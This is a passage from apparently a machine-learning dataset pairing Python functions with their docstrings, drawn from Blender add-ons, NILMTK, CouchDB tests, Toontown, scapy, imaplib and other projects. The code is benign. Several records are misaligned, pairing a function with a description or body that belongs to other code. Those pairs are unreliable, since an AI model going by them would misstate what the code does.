\"G\", \"N\", \"S\"}:\n vector_a = check_selection(1, bm, obj)\n else:\n verts = [v for v in bm.verts if v.select]\n if len(verts) > 0:\n vector_a = verts[0]\n if vector_a is None:\n pg.error = PDT_ERR_VERT_MODE\n bpy.context.window_manager.popup_menu(oops, title=\"Error\", icon=\"ERROR\")\n return None, False\n return bm, True\n return None, True\n\n", "nl": "Check Object & Selection Validity.Args:obj: Active Objectscene: Active Sceneoperation: The Operation e.g. Create New VertexReturns:Object BmeshValidity Boolean."} {"code": "def create_tmp_metadata_dir():\n nilmtk_static_metadata = os.path.join(\n get_module_directory(), 'dataset_converters', 'dataport', 'metadata')\n tmp_dir = tempfile.mkdtemp()\n metadata_dir = os.path.join(tmp_dir, \"metadata\")\n shutil.copytree(nilmtk_static_metadata, metadata_dir)\n print(\"Using temporary dir for metadata:\", metadata_dir)\n for f in os.listdir(metadata_dir):\n if re.search('^building', f):\n os.remove(join(metadata_dir, f))\n\n return metadata_dir\n\n", "nl": "Create an OS-aware temporary metadata directory.dataset.yaml and meter_devices.yaml are static metadata contained by NILMTK.building.yaml are dynamic, however and must be procedurally generated.Returns-------strPath to the temporary metadata directory."} {"code": "def stretch_metric(t3d, t2d, return_A2d=False, flippedCheck=None, normalize=False):\n\n q1 = t3d[:,0]\n q2 = t3d[:,1]\n q3 = t3d[:,2]\n s1 = t2d[:,0,0]\n s2 = t2d[:,1,0]\n s3 = t2d[:,2,0]\n t1 = t2d[:,0,1]\n t2 = t2d[:,1,1]\n t3 = t2d[:,2,1]\n A2d = ((s2-s1)*(t3-t1) - (s3-s1)*(t2-t1)) / 2.0\n A2d[A2d == 0] = numpy.inf\n assert(not(numpy.any(A2d==0) and return_A2d))\n\n S_s = (q1*(t2-t3)[:,None] + q2*(t3-t1)[:,None] + q3*(t1-t2)[:,None]) / (2.0 * A2d)[:,None]\n S_t = (q1*(s3-s2)[:,None] + q2*(s1-s3)[:,None] + q3*(s2-s1)[:,None]) / (2.0 * A2d)[:,None]\n\n L2 = numpy.sqrt((array_mult(S_s,S_s) + array_mult(S_t,S_t)) / 2.0)\n if flippedCheck is not None:\n L2[numpy.logical_xor(A2d < 0, flippedCheck < 0)] = numpy.inf\n L2[A2d == 0] = numpy.inf\n if normalize:\n A3d = tri_areas_3d(t3d)\n A2d[A2d == numpy.inf] = 0\n sumA3d = numpy.sum(A3d)\n if flippedCheck is None and sumA3d == 0:\n L2 = 0\n else:\n A3d[L2 == numpy.inf] = numpy.inf\n L2 = numpy.sqrt(numpy.sum(L2*L2*A3d) / sumA3d) * numpy.sqrt(numpy.sum(numpy.abs(A2d)) / sumA3d)\n\n if return_A2d:\n return L2, A2d\n\n return L2\n", "nl": "Computes the texture stretch metric from- Texture Mapping Progressive Meshes- Pedro V. Sander, et al.- See section 3"} {"code": "def test_basic_auth_str(self):\n try:\n self.client.connect()\n if self.client.admin_party:\n self.assertIsNone(self.client.basic_auth_str())\n else:\n expected = 'Basic {0}'.format(\n str_(base64.urlsafe_b64encode(bytes_(\"{0}:{1}\".format(\n self.user, self.pwd\n ))))\n )\n self.assertEqual(self.client.basic_auth_str(), expected)\n finally:\n self.client.disconnect()\n", "nl": "Test getting the basic authentication string.Basic auth string is None if CouchDB Admin Party mode was selected."} {"code": "def _make_keras_model(hparams: kt.HyperParameters) -> tf.keras.Model:\n\n common_args = {\n 'verbose': 2,\n 'task': tfdf.keras.Task.CLASSIFICATION,\n }\n\n if hparams.get(_KEY_MODEL_TYPE) == _KEY_RANDOM_FOREST:\n return tfdf.keras.RandomForestModel(\n max_depth=hparams.get('max_depth'),\n min_examples=hparams.get('min_examples'),\n **common_args)\n\n elif hparams.get(_KEY_MODEL_TYPE) == _KEY_GRADIENT_BOOSTED_TREES:\n return tfdf.keras.GradientBoostedTreesModel(\n num_candidate_attributes_ratio=hparams.get(\n 'num_candidate_attributes_ratio'),\n use_hessian_gain=hparams.get('use_hessian_gain'),\n growing_strategy=hparams.get('growing_strategy'),\n **common_args)\n\n else:\n raise ValueError('Unknown model type')\n\n", "nl": "Creates a TF-DF Keras model.Args:hparams: Hyperparameters of the model.Returns:A Keras Model."} {"code": "def writeln(self, string=''):\n self.section = 0\n if self.include_ids and hasattr(layout, 'report_id'):\n layout.children[0].children[0].data += ' (%s)' % layout.report_id\n self._display(layout)\n", "nl": "write a line in the output bufferprint >> self.out, self.encode(string)def display_results(self, layout):display results encapsulated in the layout tree"} {"code": "def recall_at_r(I, gt, r):\n assert r <= I.shape[1]\n assert len(I) == len(gt)\n n_ok = (I[:, :r] == gt[:, :1]).sum()\n return n_ok / float(I.shape[0])\n\n", "nl": "Compute Recall@r over the all queries.Args:I (np.ndarray): Retrieval result, with shape(#queries, ANY), integer.The index of the database itemgt (np.ndarray): Groundtruth. np.array with shape(#queries, ANY). Integer.Only gt[:, 0] is usedr (int): Top-rReturns:The average recall@r over all queries"} {"code": "def isWelcomeValley(zoneId):\n return zoneId == WelcomeValleyToken or (\n zoneId >= WelcomeValleyBegin and zoneId < WelcomeValleyEnd)\n", "nl": "Returns true if the indicated zoneId represents one of the special\"WelcomeValley\" zones, false otherwise.# 2000 ==> 0# 2100 ==> 0# 3678 ==> 0# 40000 => 1# 40135 => 1"} {"code": "def CSS_getStyleSheetText(self, styleSheetId):\n\t\tsubdom_funcs = self.synchronous_command('CSS.getStyleSheetText',\n\t\t styleSheetId=styleSheetId)\n\t\treturn subdom_funcs\n", "nl": "Function path: CSS.getStyleSheetTextDomain: CSSMethod name: getStyleSheetTextParameters:Required arguments:'styleSheetId' (type: StyleSheetId) -> No descriptionReturns:'text' (type: string) -> The stylesheet text.Description: Returns the current textual content for a stylesheet."} {"code": "def __init__(self, name, width=None):\n Id.__init__(self)\n self.name = name\n self.width = width\n self.type = 'CapArg'\n", "nl": "@param name: Name of argument@param width: Byte-width of the argument, if None, this is not port of a capability definition"} {"code": "def mount(self, prefix, adapter):\n self.adapters[prefix] = adapter\n keys_to_move = [k for k in self.adapters if len(k) < len(prefix)]\n\n for key in keys_to_move:\n self.adapters[key] = self.adapters.pop(key)\n", "nl": "Registers a connection adapter to a prefix.Adapters are sorted in descending order by prefix length."} {"code": "def make_module(self, vars=None, shared=False, locals=None):\n return TemplateModule(self, self.new_context(vars, shared, locals))\n", "nl": "This method works like the :attr:`module` attribute when calledwithout arguments but it will evaluate the template on every callrather than caching it. It's also possible to providea dict which is then used as context. The arguments are the sameas for the :meth:`new_context` method."} {"code": "def get_children(self, node: SemanticTypeNode) -> List[SemanticTypeNode]:\n children = []\n for child in node.children:\n children.append(child)\n children.extend(self.get_children(child))\n return children\n", "nl": "Recursively build up a flat list of all a node's children."} {"code": "def test_delete_poll(self):\n\n response = DispatchTestHelpers.create_poll(self.client)\n poll_id = response.data['id']\n url = reverse('api-polls-detail', args=[poll_id])\n\n response = self.client.delete(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n self.assertFalse(Poll.objects.filter(id=poll_id).exists())\n self.assertFalse(PollAnswer.objects.filter(poll_id=poll_id).exists())\n\n response = self.client.delete(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n", "nl": "Simple poll deletion test and throw error if trying to delete itemdoes not exist"} {"code": "def _find_fld_pkt(self, pkt):\n for fld, cond in self.flds:\n if isinstance(cond, tuple):\n cond = cond[0]\n if cond(pkt):\n return fld", "nl": "Given a Packet instance `pkt`, returns the Field subclass to beused. If you know the value to be set (e.g., in .addfield()), use._find_fld_pkt_val() instead."} {"code": "def rle(inarray):\n ia = np.asarray(inarray)\n n = len(ia)\n if n == 0:\n return (None, None, None)\n else:\n y = np.array(ia[1:] != ia[:-1])\n i = np.append(np.where(y), n - 1)\n z = np.diff(np.append(-1, i))\n p = np.cumsum(np.append(0, z))[:-1]\n return z, p, ia[i]\n\n", "nl": " run length encoding. Partial credit to R rle function.Multi datatype arrays catered for including non Numpyreturns: tuple (runlengths, startpositions, values) "} {"code": "def category_name(self):\n return conf.lib.clang_getDiagnosticOption(self, None)\n\n @property", "nl": "The string name of the category for this diagnostic.return conf.lib.clang_getDiagnosticCategoryText(self)@propertydef option(self):The command-line option that enables this diagnostic."} {"code": "def test_report_status(self):\n\n svc = localdisk_service.LocalDiskResourceService(\n block_dev='/dev/block',\n vg_name='treadmill',\n read_bps='100M',\n write_bps='100M',\n read_iops=1000,\n write_iops=1000\n )\n svc._vg_status = {\n 'extent_size': 4,\n 'extent_free': 512,\n 'extent_nb': 512,\n }\n\n status = svc.report_status()\n\n self.assertEqual(status, {\n 'extent_size': 4,\n 'extent_free': 512,\n 'extent_nb': 512,\n 'size': 512 * 4,\n 'read_bps': '100M',\n 'write_bps': '100M',\n 'read_iops': 1000,\n 'write_iops': 1000\n })\n\n @mock.patch('treadmill.cgroups.create', mock.Mock())\n @mock.patch('treadmill.cgroups.set_value', mock.Mock())\n @mock.patch('treadmill.fs.linux.blk_fs_create', mock.Mock())\n @mock.patch('treadmill.lvm.lvcreate', mock.Mock())\n @mock.patch('treadmill.lvm.lvdisplay', mock.Mock())\n @mock.patch('treadmill.localdiskutils.refresh_vg_status',\n mock.Mock())", "nl": "Test service status reporting."} {"code": "def resolve_ssl_version(candidate):\n if candidate is None:\n return PROTOCOL_TLS\n\n if isinstance(candidate, str):\n res = getattr(ssl, candidate, None)\n if res is None:\n res = getattr(ssl, \"PROTOCOL_\" + candidate)\n return res\n\n return candidate\n\n", "nl": "like resolve_cert_reqs"} {"code": "def add_trial(self, trial):\n assert not self.filled(), \"Cannot add trial to filled bracket!\"\n self._live_trials[trial] = None\n self._all_trials.append(trial)\n", "nl": "Add trial to bracket assuming bracket is not filled.At a later iteration, a newly added trial will be given equalopportunity to catch up."} {"code": "def goal(self, encoding: str = \"utf-8\") -> Tuple[str, Optional[bytes]]:\n\n @abstractmethod", "nl": "Create an XML string to check the current goal state.@abstractmethoddef status(self, encoding: str = \"utf-8\") -> Tuple[str, Optional[bytes]]:Create an XML string to check Coqtop's status."} {"code": "def list_field_append(doc, field, value):\n if doc.get(field) is None:\n doc[field] = []\n if not isinstance(doc[field], list):\n raise CloudantDocumentException(102, field)\n if value is not None:\n doc[field].append(value)\n\n @staticmethod", "nl": "Appends a value to a list field in a locally cached Document object.If a field does not exist it will be created first.:param Document doc: Locally cached Document object that can be aDocument, DesignDocument or dict.:param str field: Name of the field list to append to.:param value: Value to append to the field list."} {"code": "def Int2AP(num):\n mo = Flags.match(resp)\n if not mo:\n return ()\n return tuple(mo.group('flags').split())\n\n", "nl": "Convert integer to A-P string representation.val = ''AP = 'ABCDEFGHIJKLMNOP'num = int(abs(num))while num:num, mod = divmod(num, 16)val = AP[mod] + valreturn valdef ParseFlags(resp):Convert IMAP4 flags response to python tuple."} {"code": "def _strkey(self):\n concatenated.\n Arguments:\n - `other`: a string or a text object\n '''", "nl": "Key used by StringlikeMixin to implement string methods.return self.rawdef __hash__(self):return hash(self._cmpkey())def __add__(self, other):Concatenates two text objects the same way Python strings are"} {"code": "def stdout(self):\n child process.\n\n Attributes:\n cmd, output, stdout, stderr, timeout\n \"\"\"", "nl": "Alias for output attribute, to match stderrreturn self.output@stdout.setterdef stdout(self, value):# There's no obvious reason to set this, but allow it anyway so# .stdout is a transparent alias for .outputself.output = valueclass TimeoutExpired(SubprocessError):This exception is raised when the timeout expires while waiting for a"} {"code": "def __init__(self, parent = aspect2d):\n result = base.config.GetString(\"fallback-news-url\", \"http://cdn.toontown.disney.go.com/toontown/en/gamenews/\")\n override = base.config.GetString(\"in-game-news-url\", \"\")\n if override:\n self.notify.info(\"got an override url, using %s for in a game news\" % override)\n result = override\n else:\n try:\n launcherUrl = base.launcher.getValue(\"GAME_IN_GAME_NEWS_URL\", \"\")\n if launcherUrl:\n result = launcherUrl\n self.notify.info(\"got GAME_IN_GAME_NEWS_URL from launcher using %s\" % result)\n else:\n self.notify.info(\"blank GAME_IN_GAME_NEWS_URL from launcher, using %s\" % result)\n\n except:\n self.notify.warning(\"got exception getting GAME_IN_GAME_NEWS_URL from launcher, using %s\" % result)\n return result\n", "nl": "Properly initialize ourself.#AwWebViewListener.AwWebViewListener.__init__(self)self.parent = parentself.mx =0self.my = 0self.htmlFile = \"index.html\"self.transparency = False # this is important looks weird if it's trueglobal GlobalWebcoreif GlobalWebcore:# we get a C++ crash if we construct webcore a second timepasselse:GlobalWebcore = AwWebCore(AwWebCore.LOGVERBOSE, True, AwWebCore.PFBGRA)GlobalWebcore.setBaseDirectory('.')for errResponse in xrange(400,600):GlobalWebcore.setCustomResponsePage(errResponse, \"error.html\");self.webView = GlobalWebcore.createWebView(WEB_WIDTH, WEB_HEIGHT, self.transparency, False, 70)#self.webView.setListener(self)#self.webView.setCallback(\"requestFPS\");frameName = ''inGameNewsUrl = self.getInGameNewsUrl()#self.webView.loadURL2(inGameNewsUrl)self.imgBuffer = array.array('B')for i in xrange(WEB_WIDTH*WEB_HEIGHT):self.imgBuffer.append(0)self.imgBuffer.append(0)self.imgBuffer.append(0)self.imgBuffer.append(255)if self.useHalfTexture:self.leftBuffer = array.array('B')for i in xrange(WEB_HALF_WIDTH*WEB_HEIGHT):self.leftBuffer.append(0)self.leftBuffer.append(0)self.leftBuffer.append(0)self.leftBuffer.append(255)self.rightBuffer = array.array('B')for i in xrange(WEB_HALF_WIDTH*WEB_HEIGHT):self.rightBuffer.append(0)self.rightBuffer.append(0)self.rightBuffer.append(0)self.rightBuffer.append(255)self.setupTexture()if self.useHalfTexture:self.setupHalfTextures()#self.interval = LerpHprInterval(self.quad, 2, Vec3(360, 0, 0), Vec3(0, 0, 0))#self.accept(\"escape\", sys.exit, [0])#self.accept(\"w\", self.writeTex)self.accept(\"mouse1\", self.mouseDown, [AwWebView.LEFTMOUSEBTN])self.accept(\"mouse3\", self.mouseDown, [ AwWebView.RIGHTMOUSEBTN])self.accept(\"mouse1-up\", self.mouseUp, [AwWebView.LEFTMOUSEBTN])self.accept(\"mouse3-up\", self.mouseUp, [ AwWebView.RIGHTMOUSEBTN])#self.accept(\"f1\", self.toggleRotation)#self.accept(\"f2\", self.toggleTransparency)#self.accept(\"f3\", self.reload)#self.accept(\"f4\", self.zoomIn)#self.accept(\"f5\", self.zoomOut)#taskMgr.doMethodLater(1.0, self.update, 'HtmlViewUpdateTask')# we get a problem if a mid-frame hearbeat fires of this task in conjunction with igLoop#taskMgr.add(self.update, 'HtmlViewUpdateTask', priority = 51)#taskMgr.add(self.update, 'HtmlViewUpdateTask')#base.newsFrame = selfdef getInGameNewsUrl(self):Get the appropriate URL to use if we are in test, qa, or live."} {"code": "def render_with_cache(self, options):\n return self.render_content(options)\n", "nl": "proxy for render_content with memoizedthis method provide best performence for complicatedwidget content like a context navigation"} {"code": "def create_minimize_task_if_needed(testcase):\n if build_manager.is_custom_binary():\n return\n\n tasks.add_task('regression', testcase.key.id(), testcase.job_type)\n\n", "nl": "Creates a minimize task if needed.tasks.add_task('minimize', testcase.key.id(), testcase.job_type)def create_regression_task_if_needed(testcase):Creates a regression task if needed."} {"code": "def mask_rect_diff(mask, rect):\n x1, y1, x2, y2 = rect\n B = mask[y1: y2+1, x1: x2+1]\n overlap = np.count_nonzero(B)\n diff1 = np.count_nonzero(mask) - overlap\n diff2 = (y2 - y1 + 1) * (x2 - x1 + 1) - overlap\n return [overlap, diff1, diff2]\n\n", "nl": "Compute the intersection and difference sets of two a mask and bounding box."} {"code": "def last_state(self, task=None):\n print(\"=== History ===\")\n for sender, name, args, kwargs, output in self._history:\n print(\n '{: <24} {: <8}'.format(sender.__class__.__name__, name), *args, output, kwargs)\n", "nl": "Return (cluster_ids, next_cluster, similar, next_similar).cluster_state = (None, None)similarity_state = (None, None)h = self._history# Last state until the passed task, if applicable.if task:i = self._history.index(task)h = self._history[:i]for (sender, name, args, kwargs, output) in reversed(h):# Last selection is cluster view selection: return the state.if (sender == self.similarity_view and similarity_state == (None, None) andname in ('select', 'next', 'previous')):similarity_state = (output['selected'], output['next']) if output else (None, None)if (sender == self.cluster_view andcluster_state == (None, None) andname in ('select', 'next', 'previous')):cluster_state = (output['selected'], output['next']) if output else (None, None)return (*cluster_state, *similarity_state)def show_history(self):Show the history stack."} {"code": "def addSongToQueue(self, text, highlight=False, moveToTopButton=False):\n listItem = DirectLabel(\n relief = None,\n parent = self._queueList,\n text = text,\n text_align = TextNode.ALeft,\n text_pos = (0.0, 0.0, 0.0),\n text_scale = TTLocalizer.JGlistItem,\n )\n self._queueList.addItem(listItem)\n if highlight:\n listItem[\"text_fg\"] = (0.0, 0.5, 0.0, 1.0)\n self._addSongButton[\"text\"] = TTLocalizer.JukeboxReplaceSong\n listItem.setPythonTag(\"highlighted\", True)\n\n if moveToTopButton and len(self._queueList[\"items\"]) > 1:\n self._moveToTopButton.reparentTo(listItem)\n self._moveToTopButton.setScale(self._windowFrame, 1.0)\n self._moveToTopButton.setPos(10.0, 0.0, 0.25)\n self._queueList.scrollTo(len(self._queueList[\"items\"]) - 1)\n\n return listItem\n", "nl": "Adds a song to the playlist queue.Returns:listItem added to the playlist queue"} {"code": "def TransformShapes(self, shapes):\n raise NotImplementedError()\n", "nl": "Sets correct shapes corresponding to TransformFeatures.Args:shapes: A `NestedMap` of TensorShapes, corresponding to thepre-transformed features.Returns:A `NestedMap` of TensorShapes corresponding to the transformed features."} {"code": "def ease_in_sine(progress):\n return math.sin(progress * (math.pi/2.0))\n\n @staticmethod", "nl": "See documentation at http://pymt.eu/wiki/DevGuide/EasingFunctions#ease_in_sinereturn -1.0 * math.cos(progress * (math.pi/2.0)) + 1.0@staticmethoddef ease_out_sine(progress):See documentation at http://pymt.eu/wiki/DevGuide/EasingFunctions#ease_out_sine"} {"code": "def failure_test_generator(pattern, search_platform, data_model):\n", "nl": " Generates a test for an error def test(self):with self.assertRaises(Exception):res = translate(pattern, search_platform, data_model)return test@staticmethoddef generate_tests(): Generate the tests "} {"code": "def request(self, url, data={}, key=None, delay=1, cached=False):\n r = (url, data) + (key or keys['Twitter'])\n r = oauth(*r)\n r = serialize(*r)\n r = download(r, delay=delay, cached=cached)\n r = u(r)\n r = json.loads(r)\n return r\n", "nl": " Returns the Twitter API's JSON response as a dict."} {"code": "def write(self, b):\n self._unsupported(\"write\")\n\nio.RawIOBase.register(RawIOBase)\nfrom _io import FileIO\nRawIOBase.register(FileIO)\n\n\nclass BufferedIOBase(IOBase):\n\n \"\"\"Base class for buffered IO objects.", "nl": "Write the given buffer to the IO stream.Returns the number of bytes written, which may be less than thelength of b in bytes."} {"code": "def Page_setWebLifecycleState(self, state):\n\t\tassert isinstance(state, (str,)\n\t\t ), \"Argument 'state' must be of type '['str']'. Received type: '%s'\" % type(\n\t\t state)\n\t\tsubdom_funcs = self.synchronous_command('Page.setWebLifecycleState',\n\t\t state=state)\n\t\treturn subdom_funcs\n", "nl": "Function path: Page.setWebLifecycleStateDomain: PageMethod name: setWebLifecycleStateWARNING: This function is marked 'Experimental'!Parameters:Required arguments:'state' (type: string) -> Target lifecycle stateNo return value.Description: Tries to update the web lifecycle state of the page.It will transition the page to the given state according to:https://github.com/WICG/web-lifecycle/"} {"code": "def get_info(self, path):\n pos = Gtk.TreePath.new_from_string(path)\n tree_it = self.layout_treemodel.get_iter(pos)\n node = {'children': [self.config.get_layout(self.current_layout)]}\n for n in pos.get_indices():\n node = node['children'][n]\n return node, tree_it\n\n", "nl": " Given a path string, look up the appropriate item in both the actual and GtkStore modelsArgs:path (`str`): A string representing a path in the treemodelReturns:`dict`, :class:`~Gtk.TreeIter`: the node and iterator representing the position in the layout and model"} {"code": "def secret_ref(self):\n return self._secret_ref\n\n @secret_ref.setter", "nl": "Gets the secret_ref of this V1CephFSVolumeSource. # noqa: E501:return: The secret_ref of this V1CephFSVolumeSource. # noqa: E501:rtype: V1LocalObjectReference"} {"code": "def test_lookupFunctionDeprecatedInvoke(self):\n locator = TestLocator()\n responderCallable = self.assertWarns(\n PendingDeprecationWarning,\n \"Call locateResponder, not lookupFunction.\", __file__,\n lambda : locator.lookupFunction(b\"simple\"))\n result = responderCallable(amp.Box(greeting=b\"ni hao\", cookie=b\"5\"))", "nl": "Invoking locateResponder under its old name, lookupFunction, shouldemit a deprecation warning, but do the same thing."} {"code": "def _estimateNumTweetsToDelete(sqlEngine, selectionPredicate):\n return sqlEngine.execute(\n sql.select([sql.func.count()])\n .where(selectionPredicate)).scalar()\n\n\n\n@collectorsdb.retryOnTransientErrors", "nl": ":param sqlalchemy.engine.Engine sqlEngine::param selectionPredicate: predicate for where clause that selects the desiredtweets for purging"} {"code": "def get_arguments():\n parser = argparse.ArgumentParser(description=\"Full Pipeline Training\")\n\n parser.add_argument(\n \"--train-dir\",\n type=str,", "nl": "Parse all the arguments provided from the CLI.Returns:A list of parsed arguments."} {"code": "def test_url_inheritance():\n\n @hug.object.http_methods()\n class EndPoint(object):", "nl": "Test creating class based routers@hug.object.urls(\"/endpoint\", requires=(), versions=1)class MyClass(object):@hug.object.urls(\"inherits_base\")def my_method(self):return \"hi there!\"@hug.object.urls(\"/ignores_base\")def my_method_two(self):return \"bye\"@hug.object.urls(\"ignore_version\", versions=None)def my_method_three(self):return \"what version?\"assert hug.test.get(api, \"/v1/endpoint/inherits_base\").data == \"hi there!\"assert hug.test.post(api, \"/v1/ignores_base\").data == \"bye\"assert hug.test.post(api, \"/v2/ignores_base\").data != \"bye\"assert hug.test.get(api, \"/endpoint/ignore_version\").data == \"what version?\"def test_simple_class_based_method_view():Test creating class based routers using method mappings"} {"code": "def from_string(self, template_code):\n dmp = apps.get_app_config('django_mako_plus')\n mako_template = Template(template_code, imports=dmp.template_imports, input_encoding=dmp.options['DEFAULT_TEMPLATE_ENCODING'])\n return MakoTemplateAdapter(mako_template)\n\n", "nl": "Compiles a template from the given string.This is one of the required methods of Django template engines."} {"code": "def total_pause_time(self, **kwargs):\n return self._extract_phonetic_and_phonological_features(\n 'total_pause_time', **kwargs\n )['total_pause_time']\n", "nl": "Method to extract the total pause timeArgs:kwargs (list): Optional arguments for threshold valuesReturns:float: The total pause time"} {"code": "def visualize(model):\n if model.method == 'LDA':\n return\n reducer = umap.UMAP()\n print('Calculating UMAP projection ...')\n vec_umap = reducer.fit_transform(model.vec[model.method])\n print('Calculating UMAP projection. Done!')\n plot_proj(vec_umap, model.cluster_model.labels_)\n dr = '/contextual_topic_identification/docs/images/{}/{}'.format(model.method, model.id)\n if not os.path.exists(dr):\n os.makedirs(dr)\n plt.savefig(dr + '/2D_vis')\n", "nl": "Visualize the result for the topic model by 2D embedding (UMAP):param model: Topic_Model object"} {"code": "def test_use_none_activation_keras(self):\n conv_hyperparams_proto = hyperparams_pb2.Hyperparams()\n text_format.Merge(conv_hyperparams_text_proto, conv_hyperparams_proto)\n keras_config = hyperparams_builder.KerasLayerHyperparams(\n conv_hyperparams_proto)\n self.assertIsNone(keras_config.params()['activation'])\n self.assertIsNone(\n keras_config.params(include_activation=True)['activation'])\n activation_layer = keras_config.build_activation_layer()\n self.assertIsInstance(activation_layer, tf.keras.layers.Lambda)\n self.assertEqual(activation_layer.function, tf.identity)\n", "nl": "conv_hyperparams_text_proto = regularizer {l2_regularizer {}}initializer {truncated_normal_initializer {}}activation: NONE"} {"code": "def on_mouse_press(self, x, y, button, key_modifiers):\n\n if len(self.held_cards) == 0:\n return\n\n self.held_cards = []\n", "nl": " Called when the user presses a mouse button. # Get list of cards we've clicked oncards = arcade.get_sprites_at_point((x, y), self.card_list)# Have we clicked on a card?if len(cards) > 0:# Might be a stack of cards, get the top oneprimary_card = cards[-1]# All other cases, grab the face-up card we are clicking onself.held_cards = [primary_card]# Save the positionself.held_cards_original_position = [self.held_cards[0].position]# Put on top in drawing orderself.pull_to_top(self.held_cards[0])def on_mouse_release(self, x: float, y: float, button: int,modifiers: int): Called when the user presses a mouse button. "} {"code": "def write_key(path, key, nstype, value):\n log.debug('Reading original plist for modification at path: %s' % path)\n dataObject = _read_plist(path)\n\n log.debug('Deriving key hierarchy from colon separated string')\n keys = key.split(':')\n if type(keys) is str:\n keys = list(keys)\n\n if dataObject is None:\n dataObject = NSMutableDictionary()\n\n log.debug('Performing string to NSObject conversion')\n nsval = _value_to_nsobject(value, nstype)\n log.debug('Setting object value in hierarchy')\n _set_object_for_key_list(dataObject, keys, nsval)\n log.debug('Writing out plist to original path')\n _write_plist(dataObject, path)\n\n", "nl": "Write the value of a key contained within the Property List file specified.If the property list file does not exist, the default behaviour is to create it with the keys/values given.pathAn absolute path to a property list (.plist) file, including the extensionkeyThe path specification for the key to modify. A list of keys separated by a colon.nstypeThe value type to write, one of 'string', 'int', 'float', 'bool', 'data'valueThe property value. If not specified it will be set to an empty value.CLI Example:.. code-block:: bashsalt '*' plist.write [value]"} {"code": "def domain_name(self) -> str:\n return self[\"requestContext\"][\"requestId\"]\n\n @property", "nl": "A domain namereturn self[\"requestContext\"][\"domainName\"]@propertydef domain_prefix(self) -> str:return self[\"requestContext\"][\"domainPrefix\"]@propertydef http(self) -> RequestContextV2Http:return RequestContextV2Http(self._data)@propertydef request_id(self) -> str:The ID that API Gateway assigns to the API request."} {"code": "def TokenToId(self, token):\n if isinstance(Ids, Tokenization):\n Ids = Ids.tokenization\n return ''.join([self.IdToToken(tok) for tok in Ids])\n", "nl": "ascii character to indexreturn ord(token)def DecodeIds(self, Ids):converts ascii ids to tokens before joining them into text"} {"code": "def _is_full_ref(self):\n for ref in self.refs:\n ref = ref.split('/')[1:]\n if self.path_data['ref'] == \"/\".join(ref):\n return True\n return False\n", "nl": "Return true if the specified path (e.g. branches/master, ortags/V1.0) refers to one of the specified refs, (e.g.refs/heads or refs/tags). "} {"code": "def test_rule_1(self):\n self.assertEqual(\n _get_sentences(\"What is your name? My name is Jonas.\"),\n [\"What is your name?\", \"My name is Jonas.\"],\n )\n", "nl": "Simple period to end sentenceself.assertEqual(_get_sentences(\"Hello World. My name is Jonas.\"),[\"Hello World.\", \"My name is Jonas.\"],)def test_rule_2(self):Question mark to end sentence"} {"code": "def _cleanup(self):\n self._channel = None\n self.dispatch_map = None\n", "nl": "\"Private\" call from Channel when it's shutting down so that localdata can be cleaned up and references closed out. It's stronglyrecommended that subclasses call this /after/ doing their own cleanup .Note that this removes reference to both the channel and the dispatchmap."} {"code": "def __init__(self, path, *args):\n\n AliasBase.__init__(self, *args)\n self.path = path.split()\n self.program = self.path[0]\n\n", "nl": "@type path: L{bytes}@param path: The command to invoke the program consisting of the pathto the executable followed by any arguments.@type args: 2-L{tuple} of (0) L{dict} mapping L{bytes} to L{IDomain}provider, (1) L{bytes}@param args: Arguments for L{AliasBase.__init__}."} {"code": "def update_github_releases(json_filename, repo):\n gh_session = requests.Session()\n releases = get_releases(gh_session, repo)\n if 0:\n for release in releases.values():\n print(release[\"tag_name\"])\n resp = gh_session.delete(release[\"url\"])\n check_ok(resp)\n return\n\n with open(json_filename) as jf:\n relnotes = json.load(jf)\n relnotes.sort(key=lambda rel: pkg_resources.parse_version(rel[\"version\"]))\n for relnote in relnotes:\n tag = relnote[\"version\"]\n if not does_tag_exist(tag):\n continue\n exists = tag in releases\n if not exists:\n create_release(gh_session, repo, relnote)\n else:\n release = releases[tag]\n if release[\"body\"] != relnote[\"text\"]:\n url = release[\"url\"]\n update_release(gh_session, url, relnote)\n\nif __name__ == \"__main__\":\n update_github_releases(*sys.argv[1:])", "nl": "Read the json file, and create or update releases in GitHub."} {"code": "def _supports(self, item):\n\n A result supports fast access if it contains exactly one item with the name of the result.\n\n \"\"\"", "nl": "Checks if outer data structure is supported.return type(item) in Result.SUPPORTED_DATAdef f_supports_fast_access(self):Whether or not the result supports fast access."} {"code": "def reduction(self, debug=False):\n self.organization.reduction(debug)\n", "nl": "Simplifies datastructureNOTE: This will remove data, therefore, context is lost"} {"code": "def test_brokenOpeningTag(self):\n input = '

Hello World!

'\n expected = '

Hello World!

'\n self.checkParsed(input, expected)\n\n", "nl": "Check that microdom does its best to handle broken opening tags.The important thing is that it doesn't raise an exception."} {"code": "def import_module(name, deprecated=False):\n with _ignore_deprecated_imports(deprecated):\n try:\n return importlib.import_module(name)\n except ImportError, msg:\n raise unittest.SkipTest(str(msg))\n\n", "nl": "Import and return the module to be tested, raising SkipTest ifit is not available.If deprecated is True, any module or package deprecation messageswill be suppressed."} {"code": "def get_topic_names(self) -> Iterable[str]:\n if self._channel is None:\n self._channel = self._prepare_channel(\n self._channel_arg,\n schema=self._schema,\n key_type=self._key_type,\n value_type=self._value_type,\n **self._channel_kwargs,\n )\n return self._channel\n\n @channel.setter", "nl": "Return list of topic names this agent subscribes to.channel = self.channelif isinstance(channel, TopicT):return channel.topicsreturn []@propertydef channel(self) -> ChannelT:Return channel used by agent."} {"code": "def read_metadata(self):\n meta_data = {}\n while True:\n lead_ubyte = self.read_ubyte()\n if lead_ubyte == 0x7f:\n return meta_data\n index = lead_ubyte & 0x1f\n data_type = lead_ubyte >> 5\n if data_type == 0:\n meta_data[index] = (data_type, self.read_byte())\n elif data_type == 1:\n meta_data[index] = (data_type, self.read_short())\n elif data_type == 2:\n meta_data[index] = (data_type, self.read_int())\n elif data_type == 3:\n meta_data[index] = (data_type, self.read_float())\n elif data_type == 4:\n meta_data[index] = (data_type, self.read_string())\n elif data_type == 5:\n meta_data[index] = (data_type, self.read_slot())\n elif data_type == 6:\n meta_data[index] = (data_type, (\n self.read_int(), self.read_int(), self.read_int()))\n\n elif data_type == 7:\n meta_data[index] = (data_type, (\n self.read_float(), self.read_float(), self.read_float()))\n\n else:\n self.log.error(\n \"Unsupported data type '%d' for read_metadata() \"\n \"(Class Packet)\", data_type\n )\n raise ValueError\n", "nl": "/* Prior to 1.9 only! */Sept 3, 2012 in the wayback machine, this was valid for whateverthe MC version was. This changed March 6th 2016 